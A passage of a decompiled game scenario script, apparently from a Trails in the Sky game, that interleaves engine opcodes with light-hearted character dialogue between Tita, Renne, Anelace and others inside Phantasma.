OP_51(0x20, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0x12)
ClearChrFlags(0x12, 0x10)
TurnDirection(0x12, 0x20, 0)
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_897D")
Jump("loc_89BF")
label("loc_897D")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_8999")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_89BF")
label("loc_8999")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_89B5")
OP_51(0x12, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_89BF")
label("loc_89B5")
OP_51(0x12, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0x12, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_89BF")
OP_51(0x12, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x20, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x20, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x12, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0x12, 0x10)
label("loc_89E4")
ChrTalk( #198
0x12,
(
"#562FTrying to proceed on your own would be really,\x01",
"REALLY dangerous, Renne.\x02\x03",
"Please don't try and do that...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_8A6D")
SetChrSubChip(0xFE, 0)
Jump("loc_8A72")
label("loc_8A6D")
SetChrSubChip(0xFE, 1)
label("loc_8A72")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_8A7A")
Jump("loc_955D")
label("loc_8A7D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x560, 0)), scpexpr(EXPR_END)), "loc_8D51")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_8C3C")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_8B22")
Jump("loc_8B64")
label("loc_8B22")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_8B3E")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_8B64")
label("loc_8B3E")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_8B5A")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_8B64")
label("loc_8B5A")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_8B64")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #199
0x12,
(
"#064FOh, Renne! Heehee.\x01",
"#061FWe'll have to talk again later.\x02\x03",
"I still want to finish our conversation from\x01",
"earlier.\x02",
)
)
CloseMessageWindow()
ChrTalk( #200
0x110,
"#261FI'd be delighted.\x02",
)
CloseMessageWindow()
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x9)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_8C39")
SetChrSubChip(0xFE, 1)
label("loc_8C39")
Jump("loc_8D4E")
label("loc_8C3C")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #201
0x12,
"#061FSo then I decided to give him a name...\x02",
)
CloseMessageWindow()
ChrTalk( #202
0x20,
(
"#261FI raised a cat once before, too, you know.\x02\x03",
"#265FThe professor called him a Steel Cougar,\x01",
"if I recall...\x02",
)
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 1700, 0x28, 0x2B, 0x64, 0x3)
Sleep(1000)
ChrTalk( #203
0x12,
(
"#065FTh-That doesn't sound like the kind of cat\x01",
"I'm thinking of!\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_8D4E")
Jump("loc_955D")
label("loc_8D51")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 7)), scpexpr(EXPR_END)), "loc_955D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 2)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_93A0")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_8F83")
TalkBegin(0xFE)
TurnDirection(0xFE, 0x110, 0)
ChrTalk( #204
0x12,
"#064FOooh, Renne!\x02",
)
CloseMessageWindow()
ChrTalk( #205
0x110,
"#264FWhat are you doing here, Tita?\x02",
)
CloseMessageWindow()
ChrTalk( #206
0x12,
(
"#060FOh, I was sort of just wandering aimlessly\x01",
"while I was preoccupied.\x02\x03",
"#061FSeeing you again made me remember all the\x01",
"fun things we did together before, so I've been\x01",
"thinking about those.\x02\x03",
"Like that time we went shopping and bought\x01",
"those really pretty brooches and stuff.\x02",
)
)
CloseMessageWindow()
ChrTalk( #207
0x110,
(
"#260FHeehee. Oh, right.\x02\x03",
"#267FThat reminds me, though...\x01",
"I found one exactly like them in a tiny little\x01",
"shop a while back.\x02\x03",
"#261FThe jewel in the middle was red, though.\x02",
)
)
CloseMessageWindow()
Jump("loc_901C")
label("loc_8F83")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #208
0x20,
(
"#261F...But guess what? I found a brooch exactly\x01",
"like the ones we bought a while back there.\x02\x03",
"#265FThe jewel in the middle was red, though.\x02",
)
)
CloseMessageWindow()
label("loc_901C")
ChrTalk( #209
0x12,
(
"#064FAww... You're so lucky.\x02\x03",
"They were all sold out of those in the shop\x01",
"in Grancel.\x02\x03",
"#562F*sigh* I really wanted a red one, too...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_91B4")
ChrTalk( #210
0x110,
(
"#265FI know! Why don't we go on a shopping trip\x01",
"together sometime, then? We could go to\x01",
"somewhere reeeally far away.\x02\x03",
"#269FYou'd like the Eastern Quarter in Calvard,\x01",
"that's for sure. You could spend a whole day\x01",
"shopping there and never feel bored.\x02",
)
)
CloseMessageWindow()
Jump("loc_92B1")
label("loc_91B4")
ChrTalk( #211
0x20,
(
"#265FI know! Why don't we go on a shopping trip\x01",
"together sometime, then? We could go to\x01",
"somewhere reeeally far away.\x02\x03",
"#269FYou'd like the Eastern Quarter in Calvard,\x01",
"that's for sure. You could spend a whole day\x01",
"shopping there and never feel bored.\x02",
)
)
CloseMessageWindow()
label("loc_92B1")
ChrTalk( #212
0x12,
(
"#064FR-Really?\x02\x03",
"#061FI wonder what kinds of cute accessories\x01",
"they'd have there?\x02\x03",
"#560FOh, yeah! Let me tell you about the pendant \x01",
"I bought a while back!\x02",
)
)
CloseMessageWindow()
ChrTalk( #213
0x101,
(
"#1016F(It looks like they're back to good times\x01",
"in no time.)\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
OP_A2(0x2662)
TalkEnd(0xFE)
Jump("loc_955D")
label("loc_93A0")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_94DE")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9487")
TalkBegin(0xFE)
TurnDirection(0x12, 0x110, 0)
ChrTalk( #214
0x12,
(
"#061FWe'll have to go shopping together again\x01",
"sometime!\x02",
)
)
CloseMessageWindow()
ChrTalk( #215
0x110,
(
"#260F...Sure. I wouldn't mind.\x02\x03",
"#263FBut first we're going to have to get out of\x01",
"Phantasma, aren't we?\x02",
)
)
CloseMessageWindow()
ChrTalk( #216
0x12,
"#064F...Oh, right.\x02",
)
CloseMessageWindow()
TalkEnd(0xFE)
Jump("loc_94D8")
label("loc_9487")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #217
0x12,
(
"#065FWh-What? Really?!\x02\x03",
"#067F...I kinda want to see it now.\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
ClearChrFlags(0xFE, 0x10)
label("loc_94D8")
OP_A2(0x0)
Jump("loc_955D")
label("loc_94DE")
TalkBegin(0xFE)
ChrTalk( #218
0x12,
(
"#560FRenne's so lucky to be able to visit all\x01",
"those shops, isn't she?\x02\x03",
"#067FI want to go and see more of them, too!\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
label("loc_955D")
Return()
# Function_8_735E end
def Function_9_955E(): pass
label("Function_9_955E")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 4)), scpexpr(EXPR_END)), "loc_95BA")
TalkBegin(0xFE)
ChrTalk( #219
0x1B,
"#814FHuh? Did something happen?\x02",
)
CloseMessageWindow()
ChrTalk( #220
0x109,
"#1075FNothing to worry about, no.\x02",
)
CloseMessageWindow()
TalkEnd(0xFE)
Jump("loc_ABCE")
label("loc_95BA")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_9A3D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 4)), scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_9885")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_9748")
TurnDirection(0xFE, 0x102, 0)
ChrTalk( #221
0x1B,
(
"#1316FHmm... Okay, so...I'm not really sure on the\x01",
"details of what happened...\x02\x03",
"#816F...but I know one thing for sure.\x02\x03",
"#811FYou're looking a lot brighter and more positive\x01",
"now, Joshua.\x02",
)
)
CloseMessageWindow()
ChrTalk( #222
0x102,
(
"#1504FReally?\x02\x03",
"#1513F...Thanks.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9742")
TurnDirection(0xFE, 0x101, 400)
Sleep(300)
ChrTalk( #223
0x1B,
"#816FThat goes for you, too, Estelle!\x02",
)
CloseMessageWindow()
ChrTalk( #224
0x101,
"#1017FA-Ahaha... Really?\x02",
)
CloseMessageWindow()
label("loc_9742")
OP_A2(0x9)
Jump("loc_987F")
label("loc_9748")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_97B0")
TurnDirection(0xFE, 0x102, 0)
ChrTalk( #225
0x1B,
(
"#816FYou look a lot more positive now, Joshua.\x02\x03",
"#811FI'm so happy for you!\x02",
)
)
CloseMessageWindow()
Jump("loc_987F")
label("loc_97B0")
ChrTalk( #226
0x1B,
(
"#817FI don't know that much about Joshua and Loewe's\x01",
"relationship, either...\x02\x03",
"#1314F...but what happened seems to have gone a long\x01",
"way in helping him move forward, at least. That's\x01",
"a good thing, right?\x02",
)
)
CloseMessageWindow()
label("loc_987F")
TalkEnd(0xFE)
Jump("loc_9A3A")
label("loc_9885")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_98A5")
Call(5, 8)
Jump("loc_9A3A")
label("loc_98A5")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_END)), "loc_998A")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #227
0x1B,
(
"#1314FWell, I'm not really that filled in on the whole\x01",
"thing, to be honest.\x02\x03",
"#813FFrom what I know, Loewe was like a brother\x01",
"to Joshua.\x02\x03",
"#817FBut during what happened on the Liber Ark,\x01",
"he...\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_9A3A")
label("loc_998A")
TalkBegin(0xFE)
ChrTalk( #228
0x1B,
(
"#817FUmm...\x02\x03",
"Loewe was basically like a brother to Joshua,\x01",
"right?\x02\x03",
"#813FI wasn't able to go to the Liber Ark with you guys,\x01",
"so I'm not clued up on all this stuff...\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
label("loc_9A3A")
Jump("loc_ABCE")
label("loc_9A3D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x564, 0)), scpexpr(EXPR_END)), "loc_9DC8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_9A96")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #229
0x1B,
(
"#814FH-Huh...?!\x02\x03",
"#1317FWhere did everyone go?!\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
OP_A2(0x9)
TalkEnd(0xFE)
Jump("loc_9DC5")
label("loc_9A96")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_9BDE")
OP_62(0x1B, 0x0, 2000, 0x26, 0x26, 0xFA, 0x1)
Sleep(1000)
TurnDirection(0x1B, 0x107, 500)
ChrTalk( #230
0x1B,
"#1310FOh! There you two are!\x02",
)
CloseMessageWindow()
ChrTalk( #231
0x107,
"#067FHeehee...\x02",
)
CloseMessageWindow()
ChrTalk( #232
0x110,
(
"#263FWe're off for a while.\x02\x03",
"#260FWe'll talk with you again later,\x01",
"though, okay?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9BDB")
ChrTalk( #233
0x1B,
(
"#818FAww...\x02\x03",
"#1311FOkay, then... But you'll have to come and join us,\x01",
"too, Ries. ㈱\x02",
)
)
CloseMessageWindow()
ChrTalk( #234
0x10F,
"#1802FO-Oh...\x02",
)
CloseMessageWindow()
label("loc_9BDB")
Jump("loc_9DBD")
label("loc_9BDE")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9CA4")
OP_62(0x1B, 0x0, 2000, 0x26, 0x26, 0xFA, 0x1)
Sleep(1000)
TurnDirection(0x1B, 0x107, 500)
ChrTalk( #235
0x1B,
(
"#1310FOh!! I spy a Tita!\x02\x03",
"#811FC'mere and give me a cuddle!\x02",
)
)
CloseMessageWindow()
ChrTalk( #236
0x107,
(
"#067FU-Umm...\x02\x03",
"#560FI-I've gotta head out now... We'll talk later,\x01",
"though, okay?\x02",
)
)
CloseMessageWindow()
Jump("loc_9DBD")
label("loc_9CA4")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9D45")
OP_62(0x1B, 0x0, 2000, 0x26, 0x26, 0xFA, 0x1)
Sleep(1000)
TurnDirection(0x1B, 0x110, 500)
ChrTalk( #237
0x1B,
"#1310FOh!! I spy a Renne!\x02",
)
CloseMessageWindow()
ChrTalk( #238
0x110,
(
"#263FHeehee. We're off to explore now.\x02\x03",
"#260FWe can talk again later, though.\x02",
)
)
CloseMessageWindow()
Jump("loc_9DBD")
label("loc_9D45")
ChrTalk( #239
0x1B,
(
"#1316FTita and Renne were here before, too.\x02\x03",
"#818FI guess they must've wandered off while\x01",
"I was taking a nap here.\x02",
)
)
CloseMessageWindow()
label("loc_9DBD")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_9DC5")
Jump("loc_ABCE")
label("loc_9DC8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x562, 5)), scpexpr(EXPR_END)), "loc_9FB5")
SetChrFlags(0x21, 0x10)
TalkBegin(0x21)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_9F23")
OP_A2(0x9)
ChrTalk( #240
0x21,
(
"#1311F#60WZzz... Mmm...#20W\x02\x03",
"#819F#60WAhaha... Wait for meee...#20W\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9E59")
ChrTalk( #241
0x101,
"#1016FU-Umm... Anelace...?\x02",
)
CloseMessageWindow()
label("loc_9E59")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9E8A")
ChrTalk( #242
0x102,
"#1514FShe's fast asleep...\x02",
)
CloseMessageWindow()
Jump("loc_9F20")
label("loc_9E8A")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x2)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_9ED7")
ChrTalk( #243
0x103,
"#1526F*sigh* She really can sleep anywhere, can't she?\x02",
)
CloseMessageWindow()
Jump("loc_9F20")
label("loc_9ED7")
ChrTalk( #244
0x109,
(
"#1068FI wonder what she's chasing in that bizarre\x01",
"dream of hers...?\x02",
)
)
CloseMessageWindow()
label("loc_9F20")
Jump("loc_9FAA")
label("loc_9F23")
OP_9E(0x21, 0x14, 0x0, 0xC8, 0xBB8)
Sleep(300)
OP_9E(0x21, 0x14, 0x0, 0x1F4, 0xFA0)
Sleep(200)
ChrTalk( #245
0x21,
(
"#1311F#60WHeehee... I got youuu...\x02\x03",
"Now I can go to the Plushy Kingdom, too... ♪\x02",
)
)
CloseMessageWindow()
label("loc_9FAA")
ClearChrFlags(0x21, 0x10)
TalkEnd(0x21)
Jump("loc_ABCE")
label("loc_9FB5")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_A516")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 1)), scpexpr(EXPR_END)), "loc_A2A4")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_A1E5")
ChrTalk( #246
0x1B,
"#814FOh, 'sup? Anything wrong?\x02",
)
CloseMessageWindow()
ChrTalk( #247
0x109,
"#1078FWell...\x02",
)
CloseMessageWindow()
FadeToDark(300, 0, 100)
SetChrName("")
SetMessageWindowPos(72, 320, 56, 3)
AnonymousTalk( #248
(
"\x07\x05Kevin explained to Anelace that they thought she was the person the amberl\x01",
"monument's inscription was asking for.\x02",
)
)
CloseMessageWindow()
OP_56(0x0)
FadeToBright(300, 0)
OP_0D()
Sleep(500)
ChrTalk( #249
0x1B,
(
"#814FMe? The 'sword-wielding dame'?\x02\x03",
"#818FI dunnooo... I mean, it's a cool-sounding title\x01",
"and all, but does it really fit me?\x02",
)
)
CloseMessageWindow()
ChrTalk( #250
0x109,
(
"#1066FIt does if you ask me. But hey, even if you're\x01",
"not sure, it's worth a try, right?\x02\x03",
"Do you mind coming with us and giving it a go?\x02",
)
)
CloseMessageWindow()
ChrTalk( #251
0x1B,
(
"#814FYou got it.\x02\x03",
"#810FOff we go, then!\x02",
)
)
CloseMessageWindow()
OP_A2(0x2B0B)
Jump("loc_A29E")
label("loc_A1E5")
ChrTalk( #252
0x1B,
(
"#818FI'm still not sure I'm the person that monument\x01",
"wants, but it's worth a try, at least.\x02\x03",
"#810FSo just let me know when you're ready to go back\x01",
"there. I'm ready to go any time.\x02",
)
)
CloseMessageWindow()
label("loc_A29E")
TalkEnd(0xFE)
Jump("loc_A513")
label("loc_A2A4")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_A3F1")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4C7, 7)), scpexpr(EXPR_END)), "loc_A36A")
ChrTalk( #253
0x1B,
(
"#1317FD-Damn. I didn't think he was going to be\x01",
"that powerful...\x02\x03",
"#1316FThat fancy-schmancy skill of his was just\x01",
"cheating...\x02\x03",
"#815FHow can you even DO that with a sword?!\x02",
)
)
CloseMessageWindow()
Jump("loc_A3EB")
label("loc_A36A")
ChrTalk( #254
0x1B,
(
"#814FPhillip was that duke's butler, right?\x02\x03",
"#818FWas he really that strong?\x02\x03",
"He didn't really look it when I last saw him.\x02",
)
)
CloseMessageWindow()
label("loc_A3EB")
OP_A2(0x9)
Jump("loc_A510")
label("loc_A3F1")
ChrTalk( #255
0x1B,
(
"#1316F*sigh* I guess if I couldn't tell his true strength,\x01",
"that means I've got a long way to go.\x02\x03",
"#812FAll right! Time to get Richard to join me for \x01",
"some more training!\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xB)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_A510")
TurnDirection(0x1B, 0x10C, 400)
Sleep(500)
ChrTalk( #256
0x1B,
"#815FWell? Would you be willing to?\x02",
)
CloseMessageWindow()
ChrTalk( #257
0x10C,
"#111FHaha... I'll give it some thought.\x02",
)
CloseMessageWindow()
label("loc_A510")
TalkEnd(0xFE)
label("loc_A513")
Jump("loc_ABCE")
label("loc_A516")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x560, 0)), scpexpr(EXPR_END)), "loc_ABCE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_A9DF")
